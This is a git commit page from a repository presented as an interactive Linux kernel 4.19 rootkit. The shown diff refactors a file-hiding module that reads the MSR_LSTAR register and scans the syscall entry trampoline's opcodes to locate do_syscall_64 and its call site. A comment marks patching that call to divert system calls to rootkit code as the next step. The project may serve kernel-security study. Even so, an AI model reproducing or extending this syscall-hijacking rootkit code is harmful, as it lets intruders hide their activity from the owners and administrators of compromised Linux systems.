linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

commit 7a1a4906e71915945ab568e29bf15467322e08e9
parent 20673ea3a802a5d4cc6ecec0c1950afec888d28d
Author: Tizian Leonhardt <tizianleonhardt@web.de>
Date:   Sat,  9 Jan 2021 22:01:37 +0100

Restructuring

Diffstat:
Msrc/filehide_lstar.c | 53++++++++++++++++++++++++++++++++++++-----------------
1 file changed, 36 insertions(+), 17 deletions(-)

diff --git a/src/filehide_lstar.c b/src/filehide_lstar.c @@ -11,24 +11,29 @@ //Idea: build path from entry_SYSCALL_64_trampoline to do_syscall64 by gathering addresses piece by piece //(1) JMP_NOSPEC %rdi -> (2) [entry_SYSCALL_64_stage2] jmp entry_SYSCALL_64_after_hwframe -> (3) [entry_SYSCALL_64] call do_syscall_64 -//sign-extended mov rdi, imm +//sign-extended mov rdi, imm; 0x48 is REX.W prefix static char *movSignExtended = "\x48\xc7\xc7"; //The first call in entry_SYSCALL_64 is the right one, so grabbing it is easy static char *callNearRelative = "\xE8"; static unsigned long read_msr(unsigned int); -static void *find_do_syscall_64(char *lstar_addr); +static char *find_do_syscall_64(char *lstar_addr); void g7_syscall_64(unsigned long, struct pt_regs *); void (*do_syscall_64)(unsigned long, struct pt_regs *); void test_lstar(void) -{ - char *lstar_addr = (char *)read_msr(MSR_LSTAR); - - do_syscall_64 = find_do_syscall_64(lstar_addr); +{ + char *syscall_64_ptr = find_do_syscall_64((char *)read_msr(MSR_LSTAR)); + + if(!do_syscall_64 || !syscall_64_ptr) + return; + + DEBUG_INFO("do_syscall_64 at %lx\n", (unsigned long)do_syscall_64); + + //Calculate new call offset to our function } //Only use with multiples of 16.. @@ -55,7 +60,24 @@ sign_extend(int n) return n; } -static void * +//Get sign-extended offset from near relative call in memory (\xe8) +static unsigned long +call_offset(char *ptr) +{ + unsigned long ret = 0; + + memcpy(&ret, (ptr + 1), 4); //1 byte offset to skip opcode) + + ret = sign_extend(ret); + + //Offset relative to _next_ instruction + ret += 5; + + return ret; +} + +//Find do_syscall_64, sets it, and returns the pointer to the original call +static char * find_do_syscall_64(char *lstar_addr) { //Step 1: get address of stage 2 trampoline @@ -71,21 +93,18 @@ find_do_syscall_64(char *lstar_addr) stage2_addr = sign_extend(stage2_addr); //Step 2: conveniently, no 'pointer' chasing is necessary, we can just look for the jump opcode from here - char *syscall64_off_ptr = strnstr((char *)stage2_addr, callNearRelative, SEARCHLEN); + char *syscall64_call_ptr = strnstr((char *)stage2_addr, callNearRelative, SEARCHLEN); - if(!syscall64_off_ptr) + if(!syscall64_call_ptr) return NULL; - unsigned long syscall64_off = 0; - memcpy(&syscall64_off, (syscall64_off_ptr + 1), 4); //1 byte offset to skip opcode - - syscall64_off = sign_extend(syscall64_off); - - //Offset relative to _next_ instruction - syscall64_off += 5; + //Get offset relative to next address + unsigned long syscall64_off = call_offset(syscall64_call_ptr); //Store correct address of do_syscall_64 - return (void *)syscall64_off_ptr + syscall64_off; + do_syscall_64 = (void *)syscall64_call_ptr + syscall64_off; + + return syscall64_call_ptr; } void